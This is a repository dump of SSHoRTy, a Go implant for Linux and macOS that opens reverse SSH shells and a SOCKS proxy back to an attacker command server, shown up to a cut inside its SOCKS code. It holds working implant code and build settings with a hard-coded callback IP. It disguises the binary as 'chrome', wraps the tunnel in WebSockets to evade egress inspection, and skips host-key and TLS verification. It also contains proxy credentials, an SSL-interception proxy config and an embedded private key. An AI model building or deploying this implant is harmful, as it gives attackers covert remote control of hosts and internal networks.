Repository: dsnezhkov/SSHoRTy
Branch: master
Commit: 1f2cf786fbc8
Files: 22
Total size: 60.2 KB
Directory structure:
gitextract_a4fzm16i/
├── .gitignore
├── LICENSE.md
├── README.md
├── conf/
│ └── build.profile
├── infra/
│ ├── gencert.sh
│ ├── squid.conf
│ └── wss2ssh_tun.sh
├── keys/
│ ├── sslcert.pem
│ └── sslkey.pem
├── src/
│ ├── keymgmt.go
│ ├── pty.go
│ ├── rssh.go
│ ├── socksport.go
│ ├── traffic.go
│ ├── types.go
│ └── vars.go
└── tools/
├── build_implant.sh
├── call_implant_daemon.py
├── install_implant.sh
├── keygen.go
├── test_deploy.sh
└── transfer_implant_keys.sh
================================================
FILE CONTENTS
================================================
================================================
FILE: .gitignore
================================================
out/
.ssh/
.idea/
aux/
================================================
FILE: LICENSE.md
================================================
The MIT License (MIT)
---
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
================================================
FILE: README.md
================================================
## What is SSHoRTy?
A progressive, customizable standalone reverse SSH shell tunnel and SOCKS proxy implant for Linux and MacOS systems that tries hard to get a Red Team operator from :large_blue_circle: to :red_circle:, often with a :smile: and without :cold_sweat:
---
For detailed guide please see [Wiki](https://github.com/dsnezhkov/SSHoRTy/wiki)
================================================
FILE: conf/build.profile
================================================
#####################################################################################################
#
# SSHoRTTy: Linux (future Mac) SSH real time shell implant
# - Build custom versions for every environment
# - Achieve full shell on internal host over reverse SSH tunnels.
# readline, history, terminal UI, scp, sftp, exec over the same chanel
# - SOCKS support out of the box
# Future: X forward, direct local and remote port tunnels.
# - Armorized egress from corporate environment over websockets
# - Proxy awareness (explicit and from environment) and ability to have credentials support
# - Future: HTTP/2 tunnels
#
# Future: Ability to specify and control commands run in restricted shells by junior RTOs.
#
####################### BUILD CONFIGURATION #########################################################
# === Regular SSH Tunnel ===
#
# Goals:
# - Do not use local SSH clients, drop your own. Avoids logging
# - Cannot task employees to run convoluted SSH commands for us. One binary launch.
# - Default SOCKS ports for convenience of the Red team operator.
# - Achieves distributed nature of the connectivity and helps avoid attribution
#
# [Organization] ----- |Internet| ------ [Attacker C2]
#
# (Dropper) ------ Call back ------> SSH Server -------------------|
# | Attacker SSH shell client
# 1. Internal Host <==== SSH Client <= Reverse Shell ==== SSH Server ----| (rendezvous)
# | Attacker Browser+SOCKS
# 2. Internal Hosts N <==== SSH Client <= Reverse SOCKS ==== SSH Server -|
# Internal Hosts N+1
#
#
#
# === Websocket Armorized SSH Tunnel ===
#
# Goals:
# - Hide from egress deep packet inspection catching SSH traffic
# - Allow mimicry of a legitimate websocket traffic
# - Work with a potential outbound proxy, support authentication
# - Egress on port 443
#
# How it fits in the overall design:
#
#
# [Organization] ------------------------|Internet| -- [Attacker C2]
#
# (Dropper) -----> ----------> Red Websocket proxy
# | --> TCP tunnel --> Red SSH Server
# |--> rendezvous SOCKS ports
# ^
# Private SSH for Red ___|
# ^
# Red Team oper __________________|
#
#
######################## CONFIGURATION ####################################
## SSH SSHServer (host)
# Proper publicly visible SSH host to connect/redirect to
# Please note: without armorized tunnels this is the only option to reach SSH server
# When using armorized tunnels like websockify over WSS:// you may have more exit options
# For example, if the WSS:// exit host is multihomed you could connect to the second network's SSH server
# SSHServerHost=10.16.0.5
# Or, you can even listen SSH on the localhost only if directly terminating agents on the WSS:// exit host
# This affords no exposure of SSH port to the wild at all.
# SSHServerHost=167.99.88.24
SSHServerHost=127.0.0.1
# SSH port the Red server or a redirect listens on for agents on the exit node
SSHServerPort=222
# OS account with the private key the implant has to connect to the SSH server with
# see gen_ssh_user.sh
# TODO: Randomize the user
SSHServerUser=4fa48c653682c3b04add14f434a3114
# Implant ID
ImplantID=${SSHServerUser}
## Implant SSH protected B64 wrapped PK for distribution and embedding
# Option A: Local encrypted key wrapped in Base64 which gets embedded into the implant
# If file is embedded no remote SSH key fetch is made from the hosting server
SSHServerUserKeyFile="./out/${ImplantID}/${ImplantID}"
# !! SSHServerUserKey= < contents of ${SSHServerUserKeyFile} > Filled in at build time
# Option B: if the key needs to be pulled remotely
# The agent pulls the protected key and decrypts a key with a password.
# This is not SSH PK encryption, but a SSHORTY's "on the wire" protection scheme.
# Why not a direct pass-phrase encrypted SSH PK? Because there are a ton of SSH key file formats.
# For now we want to deal with a straight RSA 4096 keys, without relying on OpenSSH format quirks.
# tool: keygen.go
SSHServerUserKeyUrl="http://127.0.0.1:9000/${ImplantID}.bpk"
# Implant SSH protection password (wire, in-code storage safety)
# tool: keygen.go
SSHServerUserKeyPassphrase=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31 )
SSHServerUserKeyBits=4096
# Channel IP for reverse SSH tunnel (addr)
# After the initial SSH session is established
# listen on SSH and SOCKS ports on this address for reverse tunnels
SSHRemoteCmdHost=127.0.0.1
# Channel IP for reverse SSH tunnel (port)
SSHRemoteCmdPort=2022
# Channel IP for reverse tunnel SOCKS (addr)
SSHRemoteSocksHost=127.0.0.1
# Channel IP for reverse tunnel SOCKS (port)
SSHRemoteSocksPort=1080
# Operator Implant logon (user)
# Reverse tunnels' user on Red side
# This is used for an additional authentication to protect reverse tunnels from the RT insiders
SSHRemoteCmdUser=operator
# Operator Implant logon (password)
# Randomized on every build.
# Ex: SSHRemoteCmdPwd=da39a3ee5e6b4b0d3255bfef9560189
SSHRemoteCmdPwd=$( dd if=/dev/urandom bs=1024 count=1 2>/dev/null | shasum | cut -c 1-31 )
# The implant introspects SHELL variable from the destination environment,
# If it is undefined it falls back to this:
SSHShell="/bin/sh"
# `exec` TERM value, vt100, xterm, etc.
SSHEnvTerm="xterm"
#--------------- :: Transport :: -----------------#
# How do we get to the SSH tunnel. WS/WSS and Proxies
# Intercepting Proxy (Burp)
# export http_proxy="http://127.0.0.1:8088"
HTTPProxyFromEnvironment="no"
# Egress proxy
# TODO: HTTP/S proxy
HTTPProxy="http://167.99.88.24:8080" # Squid
# Egress proxy auth (plain)
# TODO: research NTLM if needed https://github.com/vadimi/go-http-ntlm
HTTPProxyAuthUser="companyuser"
HTTPProxyAuthPass="Drag0n"
#---------- :: Armorized Carrier :: ---------------#
# HTTP endpoint:
HTTPEndpoint="http://167.99.88.24:8082"
# WS/WSS endpoint:
WSEndpoint="wss://167.99.88.24:8082/stream"
#----------- :: Implant Operating Context :: ---#
# Implant bin/lib name
DropperName="chrome"
# Implant build type: a library or binary`
# options : exe, c-shared, default
# C-shared is good for LD_PRELOAD
DropperBuildType="exe"
# Supported OS:
# darwin
# linux
DropperOS="darwin"
# Supported ARCH:
# amd64
# i386
DropperArch="amd64"
# Background and detach from console.
# Go solution while works is not very elegant out of the box
# You can use python deamonizer + setpoctitile to get more freedom,
# or ZombieAntFarm fetcher.
# Turn On: "yes"
Daemonize="no"
# Daemon: Log progress messages to file (local debug)
# We do not want to log in production, but we want to debug to a log file locally
LogFile="/tmp/${DropperName}.log"
# Daemon: Track the implant PID
# We do not want to save pid in production, but we want to do it locally
PIDFile="/tmp/${DropperName}.pid"
================================================
FILE: infra/gencert.sh
================================================
#!/usr/bin/env bash
DBASE="/opt/sshorty"
DKEYS="${DBASE}/keys"
echo "[+] Generating SSL Keys"
openssl req -x509 -nodes -newkey rsa:2048 \
-keyout ${DKEYS}/server.key \
-out ${DKEYS}/server.crt -days 365 \
-subj "/C=GB/ST=London/L=London/O=Global Security/OU=IT Department/CN=globalprotect.com"
================================================
FILE: infra/squid.conf
================================================
#
# Recommended minimum configuration:
#
auth_param basic program /usr/lib/squid3/basic_ncsa_auth /etc/squid/passwords
auth_param basic casesensitive off
auth_param basic credentialsttl 5 minutes
acl user_auth proxy_auth REQUIRED
http_access allow user_auth
# Example rule allowing access from your local networks.
# Adapt to list your (internal) IP networks from where browsing
# should be allowed
acl localnet src 98.193.47.242/32
acl localnet src fc00::/7 # RFC 4193 local private network range
acl localnet src fe80::/10 # RFC 4291 link-local (directly plugged) machines
acl localnet src 127.0.0.1
# acl localnet src all
acl SSL_ports port 443
acl Safe_ports port 80 # http
acl Safe_ports port 443 # https
acl CONNECT method CONNECT
sslproxy_cert_error allow all
#disable this in production, it is dangerous but useful for testing
sslproxy_flags DONT_VERIFY_PEER
#
# Recommended minimum Access Permission configuration:
#
# Deny requests to certain unsafe ports
http_access deny !Safe_ports
# Deny CONNECT to other than secure SSL ports
http_access deny CONNECT !SSL_ports
# Only allow cachemgr access from localhost
http_access allow localhost manager
http_access deny manager
# We strongly recommend the following be uncommented to protect innocent
# web applications running on the proxy server who think the only
# one who can access services on "localhost" is a local user
http_access deny to_localhost
#
# INSERT YOUR OWN RULE(S) HERE TO ALLOW ACCESS FROM YOUR CLIENTS
#
# Example rule allowing access from your local networks.
# Adapt localnet in the ACL section to list your (internal) IP networks
# from where browsing should be allowed
http_access allow localnet
http_access allow localhost
# And finally deny all other access to this proxy
http_access deny all
# Uncomment and adjust the following to add a disk cache directory.
#cache_dir ufs /var/cache/squid 100 16 256
# Leave coredumps in the first cache dir
coredump_dir /var/cache/squid
forwarded_for delete
http_port 167.99.88.24:8080
#### SSL
## Use the below to avoid proxy-chaining
always_direct allow all
## Always complete the server-side handshake before client-side (recommended)
ssl_bump bump all
## Prior to squid 3.5 it was done like this:
#ssl_bump server-first all
## Allow server side certificate errors such as untrusted certificates, otherwise the connection is closed for such errors
sslproxy_cert_error allow all
## Or maybe deny all server side certificate errors according to your company policy
#sslproxy_cert_error deny all
## Accept certificates that fail verification (should only be needed if using 'sslproxy_cert_error allow all')
sslproxy_flags DONT_VERIFY_PEER
## Modify the http_port directive to perform SSL interception
## Ensure to point to the cert/key created earlier
## Disable SSLv2 because it isn't safe
https_port 167.99.88.24:443 intercept ssl-bump cert=/etc/squid/squid.pem key=/etc/squid/squid.key generate-host-certificates=on options=NO_SSLv2
## Disable ssl interception for dropbox.com and hotmail.com (and localhost)
acl no_ssl_interception dstdomain .google.com
ssl_bump none localhost
ssl_bump none no_ssl_interception
## Add the rest of your ssl-bump rules below
## e.g ssl_bump bump all
## etc
### DNS
dns_nameservers 1.1.1.1 9.9.9.9
#
# Add any of your own refresh_pattern entries above these.
#
refresh_pattern . 0 20% 4320
================================================
FILE: infra/wss2ssh_tun.sh
================================================
#!/usr/bin/env bash
# DESTINATION_SSH_ADDR=167.99.88.24
DESTINATION_SSH_ADDR=127.0.0.1
DESTINATION_SSH_PORT=222
WSS_LPORT=8082
/opt/sshorty/websockify/websockify.py --ssl-only --log-file=/opt/sshorty/logs/websocksify.log --cert=/opt/sshorty/keys/server.crt --key=/opt/sshorty/keys/server.key ${WSS_LPORT} ${DESTINATION_SSH_ADDR}:${DESTINATION_SSH_PORT}
================================================
FILE: keys/sslcert.pem
================================================
-----BEGIN CERTIFICATE-----
MIIDajCCAlICCQCia/YFAUv+8TANBgkqhkiG9w0BAQsFADB3MQswCQYDVQQGEwJH
QjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAWBgNVBAoMD0ds
b2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEUMBIGA1UEAwwL
ZXhhbXBsZS5jb20wHhcNMTgxMTMwMDA1MzU4WhcNMTkxMTMwMDA1MzU4WjB3MQsw
CQYDVQQGEwJHQjEPMA0GA1UECAwGTG9uZG9uMQ8wDQYDVQQHDAZMb25kb24xGDAW
BgNVBAoMD0dsb2JhbCBTZWN1cml0eTEWMBQGA1UECwwNSVQgRGVwYXJ0bWVudDEU
MBIGA1UEAwwLZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQD2B+h4l0BmWIXLK4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63
RAydOdOKhdJ8MPTv8RLF7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN
4GmAMeMWJvrw2deihZgGFXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOd
ElqTSfYYRmqbuBf2HgQf25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SD
zF2ssIW+1/wHHu/lBfbkBZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKF
l7VXMDaUxkc6OBJtc4760WfFpqCvAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAFxN
DG3sufb90luchDgiBwlrcgIuE1LPDflKYYBEN22HNtHCZS/woLLPZ3Eh7VEJYos9
rea0cUWCNuRsmKPuTYmcJu9pT1AC1fw33XB8HgO/ohR/rlqKJVGEyMvaUuTF0+Vu
HcRccFRvLUnFvfqyIQcoYJ6ywq207QRMyN02mqJXuLmNF57Gifu5cU3bXCqrvkcH
pgq+AvEV7cwV5a+M097Jq3vfkJ5Dp99vE2D2NNIhNkYvt/zcKDcjBwkC7T5qVXSU
p7GgJGqve/s5LO9dcYh7v3aBYhEU/BbJHalEmIbJSv0gIEiW6STjSESO4PpZdNJA
F82d/IC1zN8f8dM39s4=
-----END CERTIFICATE-----
================================================
FILE: keys/sslkey.pem
================================================
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQD2B+h4l0BmWIXL
K4n9EjXeSbT/Vg3imwDY3RFRsk/0/6QOOVEnMZIT2h63RAydOdOKhdJ8MPTv8RLF
7K2W+vXnj9JvyoI4cc01RpFvMdNpdJG72nTC+ziaVWGN4GmAMeMWJvrw2deihZgG
FXbXTlD/FupQ+vO3HAHu0Y3GYgG5jcnEbHmv7dvwhUOdElqTSfYYRmqbuBf2HgQf
25qNT9YJz5J9jDIDn2Z/lF3Fyms71hJTh75pOqX1X4SDzF2ssIW+1/wHHu/lBfbk
BZMqP0nYlX3t4035wq7OfZ0gB601YP/Qz3ObJ663xtKFl7VXMDaUxkc6OBJtc476
0WfFpqCvAgMBAAECggEAbx3tOaGePVsXukYEwV6bI7UIYRXdmY3GGSvm6Y3uHMnk
r2PlqhzyS7MEkmLSi6QVTYfZI6v8w+2OPAQD9p+LtjS3pzPAEnwbYUdo4d6QDB3Q
wBYPDAzoaJPNRoWnQHXHiTa7uVG52TYbDgxdqyo83Kjd1QsyTW4B1XmhXYrgGovz
cZ0EltkXmkrzJHMFuMGJM50WYYJY1qpmVyEd+e89XG8qWdilW8RsKA4Dj2Xutu1Z
eri3qG0eng2V5vXixQglhSiaYQpOq1r/1GRJLhkC7SCPuFGd6Sj4GgG79IdkAZiW
ANs+g5deI8E8eRUywbzReVcFXAO1CERMgTs8kQaSiQKBgQD99RTOfCADkSaTEU/A
bHJPxYNOK3plPbEDVnSCirGZfAzTgsFnWGDDGdzzfA1bGpBt3BVCAV063qq6Y6hN
8M9ybrsnU0MMfNjHB45DXZdIDeQBKuLizRpg3e3pLDU+l4agXsdEcO6SZjSpHtVX
xOf6vuziWUgcSSOqlI+l4Q1LawKBgQD4AoFuyDJb+uqS5w6U5SSOc29zLqHrRpYc
hygRa1ZuM5USpAjfO4c4iRkKA1ubE5AbN0dtodCTAr4he9jwaHyhaZL0FYIY9s8e
lfwesjKQFTv78ggbBtHBrhZFquHq78VKSUsW2HT/iuSTVLP+C176hpyp7na2KnVn
lP1Ep260zQKBgDTwyFubKJlVwvLZowR8FwBmLk83ZRaB28rUVQl5nDhg0dOt6F+A
3vsNAzCG5cneKcmdHZla63KARJsCd214C+bRCpbSFqIdzJsBCjkk44qTyrorlIyv
MRaMbTI0kwzvTZNU7rlnyXQfdk7jLJpVY/6zmnI9JnkvDg5bVe7AkaLtAoGAVH7G
CjA6uAusj5AY77GB2uaJOfzRPY825VFG3Whsce8xAsDQJP3q+9/5n+e09gicOCmF
NFzE6tEsZcwEBSQUEgod/vq08DxmJE2FMBAWGfCiFxxGlq6kGBBvlhy6C4jU9pIx
+v6UHdv8NBXPnOXS3heumFaeK0Ib7cZc418H4KECgYBsEQK9MGPjekIA2Sp7gWpY
aP6WRepvdXhHNDcJFdhKFib1N7scheyVkRvqi1mHcYvV+rP/2OHzzmILSucFXIvw
87wwnp23ry6zGV76vtfHtxizoYIfrt6+sSmAt/fPUPfyLU2nzQ0VhogZyTx+iWtR
5EaegxtQ7F86UaMVzRdlbg==
-----END PRIVATE KEY-----
================================================
FILE: src/keymgmt.go
================================================
package main
import (
"crypto/aes"
"crypto/cipher"
"crypto/md5"
"encoding/hex"
)
// Decrypts an AES blob by applying a hash of a passphrase,
// Returns decrypted array of bytes
func KeyDecrypt(data []byte, passphrase string) []byte {
key := []byte(KeyCreateHash(passphrase))
block, err := aes.NewCipher(key)
if err != nil {
panic(err.Error())
}
gcm, err := cipher.NewGCM(block)
if err != nil {
panic(err.Error())
}
nonceSize := gcm.NonceSize()
nonce, ciphertext := data[:nonceSize], data[nonceSize:]
plaintext, err := gcm.Open(nil, nonce, ciphertext, nil)
if err != nil {
panic(err.Error())
}
return plaintext
}
// Derives a key from a passphrase string
func KeyCreateHash(key string) string {
hasher := md5.New()
hasher.Write([]byte(key))
return hex.EncodeToString(hasher.Sum(nil))
}
================================================
FILE: src/pty.go
================================================
package main
import (
"encoding/binary"
"log"
"syscall"
"unsafe"
)
// parseDims extracts two uint32s from the provided buffer.
func parseDims(b []byte) (uint32, uint32) {
w := binary.BigEndian.Uint32(b)
h := binary.BigEndian.Uint32(b[4:])
return w, h
}
// Winsize stores the Height and Width of a terminal.
type Winsize struct {
Height uint16
Width uint16
x uint16 // unused
y uint16 // unused
}
// SetWinsize sets the size of the given pty.
func SetWinsize(fd uintptr, w, h uint32) {
log.Printf("Pty: window resize %dx%d", w, h)
ws := &Winsize{Width: uint16(w), Height: uint16(h)}
syscall.Syscall(
syscall.SYS_IOCTL, fd,
uintptr(syscall.TIOCSWINSZ), uintptr(unsafe.Pointer(ws)))
}
================================================
FILE: src/rssh.go
================================================
/*
SSH implant
*/
package main
import (
"C"
"crypto/tls"
"encoding/base64"
"fmt"
"io/ioutil"
"log"
"net/http"
"net/http/cookiejar"
"net/url"
"os"
"os/exec"
"os/signal"
"runtime"
"strconv"
"strings"
"syscall"
"time"
"github.com/gorilla/websocket"
"golang.org/x/crypto/ssh"
)
// For buildmode shared
// export as `entry`
//export entry
func entry() int {
main()
return 0
}
func main() {
if len(os.Args) != 2 {
fmt.Printf("FYI: Use %s [start|stop] but OK... \n ", os.Args[0])
}
if LogFile != "" {
flog, err := os.OpenFile(LogFile,
os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644)
if err != nil {
log.Println(err)
}
defer flog.Close()
log.SetOutput(flog)
}
if Daemonize == strings.ToLower("yes") {
if len(os.Args) == 1 || strings.ToLower(os.Args[1]) == "start" {
// check if daemon already running.
if _, err := os.Stat(PIDFile); err == nil {
log.Println("Implant: Already running or pid file exist.")
os.Exit(1)
}
cmd := exec.Command(os.Args[0], "run")
cmd.Start()
log.Printf("Implant: Daemon process %s, PID %d\n", os.Args[0], cmd.Process.Pid)
savePID(cmd.Process.Pid)
time.Sleep(1)
os.Exit(0)
}
if strings.ToLower(os.Args[1]) == "run" {
// Make arrangement to remove PID file upon receiving the SIGTERM from kill command
ch := make(chan os.Signal, 1)
signal.Notify(ch, os.Interrupt, os.Kill, syscall.SIGTERM)
go func() {
signalType := <-ch
signal.Stop(ch)
log.Println("Implant: Exit command received. Exiting...")
// this is a good place to flush everything to disk
// before terminating.
log.Println("Implant Received signal type : ", signalType)
// remove PID file
os.Remove(PIDFile)
os.Exit(0)
}()
doit()
}
// upon receiving the stop command
// read the Process ID stored in PIDfile
// kill the process using the Process ID
// and exit. If Process ID does not exist, prompt error and quit
if strings.ToLower(os.Args[1]) == "stop" {
if _, err := os.Stat(PIDFile); err == nil {
data, err := ioutil.ReadFile(PIDFile)
if err != nil {
log.Println("Implant: Daemon Not running")
os.Exit(1)
}
ProcessID, err := strconv.Atoi(string(data))
if err != nil {
log.Println("Implant: Unable to read and parse process id found in ", PIDFile)
os.Exit(1)
}
process, err := os.FindProcess(ProcessID)
if err != nil {
log.Printf("Implant: Unable to find process ID [%v] with error %v \n", ProcessID, err)
os.Exit(1)
}
// remove PID file
os.Remove(PIDFile)
log.Printf("Implant: Killing process ID [%v] now.\n", ProcessID)
// kill process and exit immediately
err = process.Kill()
if err != nil {
log.Printf("Implant: Unable to kill process ID [%v] with error %v \n", ProcessID, err)
os.Exit(1)
} else {
log.Printf("Implant: Killed process ID [%v]\n", ProcessID)
os.Exit(0)
}
} else {
log.Println("Implant: Daemon Not running.")
os.Exit(1)
}
} else {
log.Printf("Implant: Unknown command : %v\n", os.Args[1])
log.Printf("Usage : %s [start|stop]\n", os.Args[0])
os.Exit(1)
}
} else {
doit()
}
}
// getSSHKeyHTTP fetches SSH private key from external server
func getSSHKeyHTTP() ([]byte, error) {
// TODO: Implement backoff: https://github.com/jpillora/backoff
resp, err := http.Get(SSHServerUserKeyUrl)
if err != nil {
log.Println("Implant: Key Server not accessible or file not found")
return nil, err
}
defer resp.Body.Close()
eKeyBytesA, err := ioutil.ReadAll(resp.Body)
if err != nil {
log.Println("Implant: Key Server response not understood")
return nil, err // TODO: Should not exit, instead try to remediate within backoff or return error
}
eKeyBytes, err := b64ToBytes(string(eKeyBytesA[:]))
if err != nil {
log.Println("Implant: Base64 key decode error:", err)
return nil, err
}
return eKeyBytes, nil
}
func b64ToBytes(b64 string) ([]byte, error) {
// Local unwrap
eKeyBytes, err := base64.StdEncoding.DecodeString(b64)
if err != nil {
log.Println("Implant: Base64 key decode error:", err)
return nil, err
}
return eKeyBytes, nil
}
func doit() {
var (
eKeyBytes []byte
err error
httpProxyURL *url.URL
)
runtime.GOMAXPROCS(runtime.NumCPU())
if SSHServerUserKey != "" {
eKeyBytes, err = b64ToBytes(SSHServerUserKey)
} else {
// Remote fetch
eKeyBytes, err = getSSHKeyHTTP()
if err != nil {
log.Println("Implant: Unable to proceed as SSH key not fetched")
}
}
// Various SSH servers have different formats for SSH keys. They also change at will.
// To avoid variations in (armored) SSH key, we generate our own pure RSA key irrespective of the
// destination SSH server, with a passphrase. This is a passphrase to unwrap the key.
key := KeyDecrypt(eKeyBytes, SSHServerUserKeyPassphrase)
signer, err := ssh.ParsePrivateKey(key)
if err != nil {
log.Fatalf("Implant: Unable to parse private key: %v", err)
}
// Setup authentication with the private key
sshConfig := &ssh.ClientConfig{
// SSH connection username
User: SSHServerUser,
Auth: []ssh.AuthMethod{
ssh.PublicKeys(signer),
},
// TODO: Improve with option to validating a static Host key
// HostKeyCallback: ssh.FixedHostKey(hostKey),
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
// Client side:
// <-> Likely where websocket base network is plugged in
// TODO: improve by giving option to validate instead of InsecureSkipVerify
tlsClient := tls.Config{InsecureSkipVerify: true}
d := websocket.Dialer{
//ReadBufferSize: 1024,
//WriteBufferSize: 1024,
HandshakeTimeout: 45 * time.Second,
Subprotocols: []string{},
TLSClientConfig: &tlsClient,
}
// Dialer options. Experimental, set by flag
// TODO: config variable
d.EnableCompression = true
// TODO: Introduce proxy options:
// build the websocket dialer with proxy information like credentials
// q. Use known HTTP proxy outbound
if HTTPProxy != "" {
// Proxy specifies a function to return a proxy for a given
// Request. If the function returns a non-nil error, the
// request is aborted with the provided error.
// If Proxy is nil or returns a nil *URL, no proxy is used.
d.Proxy = func(*http.Request) (*url.URL, error) {
httpProxyURL, err = url.Parse(HTTPProxy)
if err != nil {
return nil, err
}
if HTTPProxyAuthUser != "" && HTTPProxyAuthPass != "" {
httpProxyURL.User = url.UserPassword(HTTPProxyAuthUser, HTTPProxyAuthPass)
}
return httpProxyURL, nil
}
log.Println("HTTP:WS: Explicit proxy set")
}
// b. Get proxy from environment
if HTTPProxyFromEnvironment == strings.ToLower("yes") {
d.Proxy = http.ProxyFromEnvironment
log.Println("HTTP:WS: Environment proxy set")
}
/* HTTP endpoint */
// TODO: Improve logic to differentiate WSS/WS
httpEndpoint, err := url.Parse(HTTPEndpoint)
if err != nil {
log.Fatal(err)
}
// Evasion by initial HTTP Traffic flexibility. Profiles.
// TODO: Refactor HTTP Evasion
// cookies
jar, _ := cookiejar.New(nil)
d.Jar = jar
cookies := []*http.Cookie{{Name: "gorilla", Value: "ws", Path: "/"}}
d.Jar.SetCookies(httpEndpoint, cookies)
// Setup wss evasion params
// TODO: Research how this can be used
data := url.Values{}
data.Add("name", "foo")
data.Add("surname", "bar")
/* End HTTP Endpoint */
// Setup Queries (randomize /stream resource)
// TODO: Why data is not seen?
wssReqURL := WSEndpoint
wssReq, _ := http.NewRequest("GET", wssReqURL, strings.NewReader(data.Encode()))
wssReq.Form = data
// Setup headers
wssReq.Header.Set("User-Agent",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 1.5; rv:42.0) Gecko/20170101 Firefox/42.0")
// TODO: test auth: https://github.com/gorilla/websocket/blob/master/client_server_test.go
wsConn, resp, err := d.Dial(wssReqURL, wssReq.Header)
// TODO: Backoff?
if err != nil {
log.Printf("HTTP:WS: WS-Dial INTO remote server error: %s", err)
if err == websocket.ErrBadHandshake {
log.Printf("HTTP:WS: Response Status: %s", resp.Status)
log.Fatalln(fmt.Printf("HTTP:WS: handshake failed with status %d\n", resp.StatusCode))
}
}
// Implant side
// Wrap SSH into WS
conn := NewWebSocketConn(wsConn)
sshConn, chans, reqs, err := ssh.NewClientConn(
conn, SSHServerHost+":"+SSHServerPort, sshConfig)
serverConn := ssh.NewClient(sshConn, chans, reqs)
/* This is not needed as we are armorizing the tunnel
serverConn, err = ssh.Dial("tcp", serverEndpoint.String(), sshConfig)
*/
// Server (Red) side:
// Listen on remote server port - SSH Shell, command, Subsystems
listener, err := serverConn.Listen("tcp", SSHRemoteEndpoint.String())
if err != nil {
log.Fatalln(fmt.Printf("SSH: Listen open port ON SSHRemoteEndpoint error: %s", err))
}
defer listener.Close()
// Server (Red) side:
// Listen on remote server port - SOCKS
listenerS, err := serverConn.Listen("tcp", SSHRemoteEndpointSOCKS.String())
if err != nil {
log.Fatalln(fmt.Printf("SSH: Listen open port ON SSHRemoteEndpointSOCKS error: %s", err))
}
defer listenerS.Close()
// Server (Red) side:
// Setup reverse SSH client authentication
config := &ssh.ServerConfig{
// Provide an additional level of protection for remote SSH shell
// Operators have to provide a password to connect to the SSH implant tunnel randezvous
PasswordCallback: func(c ssh.ConnMetadata, pass []byte) (*ssh.Permissions, error) {
if c.User() == SSHRemoteCmdUser && string(pass) == SSHRemoteCmdPwd {
return nil, nil
}
return nil, fmt.Errorf("SSH: RTO password (SSHRemoteCmdPwd) rejected for %q", c.User())
},
// TODO: Implement Key-based auth for the operators
// See: https://go.googlesource.com/crypto/+/master/ssh/client_auth_test.go
}
// use the same private key to come back to the implant
config.AddHostKey(signer)
// accept SOCKS listener
go acceptSLoop(listenerS)
// accept SSH shell
acceptLoop(listener, config)
}
// savePID saves daemon PID to file
func savePID(pid int) {
file, err := os.Create(PIDFile)
if err != nil {
log.Printf("Implant: Daemon Unable to create pid file : %v\n", err)
}
defer file.Close()
_, err = file.WriteString(strconv.Itoa(pid))
if err != nil {
log.Printf("Implant: Daemon Unable to create pid file : %v\n", err)
}
file.Sync() // flush to disk
}
================================================
FILE: src/socksport.go
================================================
package main
import (
"bytes"
"encoding/binary"
"io"
"log"
"net"
"sync"
)
// handleSConn handles the SOCKS on the reverse tunnel end
func handleSConn(local net.Conn) {
connections.Add(1)
defer local.Close()
defer connections.Done()
// SOCKS does not include a length in the header, so take
// a punt that each request will be readable in one go.
buf := make([]byte, 256)
// read from local SOCKS
n, err := local.Read(buf)
if err != nil || n < 2 {
log.Printf("SOCKS: [%s] unable to read SOCKS header: %v", local.RemoteAddr(), err)
return
}
buf = buf[:n]
// check SOCKS version
// Note: Only implements v4
switch version := buf[0]; version {
case 4:
switch command := buf[1]; command {
case 1:
// get forwarded TCP port from SOCKS stream
port := binary.BigEndian.Uint16(buf[2:4])
// get forwarded IP addr from SOCKS stream
ip := net.IP(buf[4:8])
// create net address from the ip/port info
addr := &net.TCPAddr{IP: ip, Port: int(port)}
buf := buf[8:]
i := bytes.Index(buf, []byte{0})
if i < 0 {
log.Printf("SOCKS: [%s] unable to locate SOCKS4 user", local.RemoteAddr())
return
}
// is there a user
user := buf[:i]
log.Printf("SOCKS: [%s] incoming SOCKS4 TCP/IP stream connection, user=%q, raddr=%s", local.RemoteAddr(), user, addr)
// dial from local SOCKS to remote (requested proxied) address over SSH tunnel
log.Printf("SOCKS: dial %s <- %s", local.RemoteAddr(), local.LocalAddr())
//remote, err := dialer.DialTCP("tcp4", local.RemoteAddr().(*net.TCPAddr), addr)
remote, err := net.Dial("tcp4", addr.String())
if err != nil {
log.Printf("SOCKS: [%s] unable to connect to remote host: %v", local.RemoteAddr(), err)
local.Write([]byte{0, 0x5b, 0, 0, 0, 0, 0, 0})
return
}
local.Write([]byte{0, 0x5a, 0, 0, 0, 0, 0, 0})
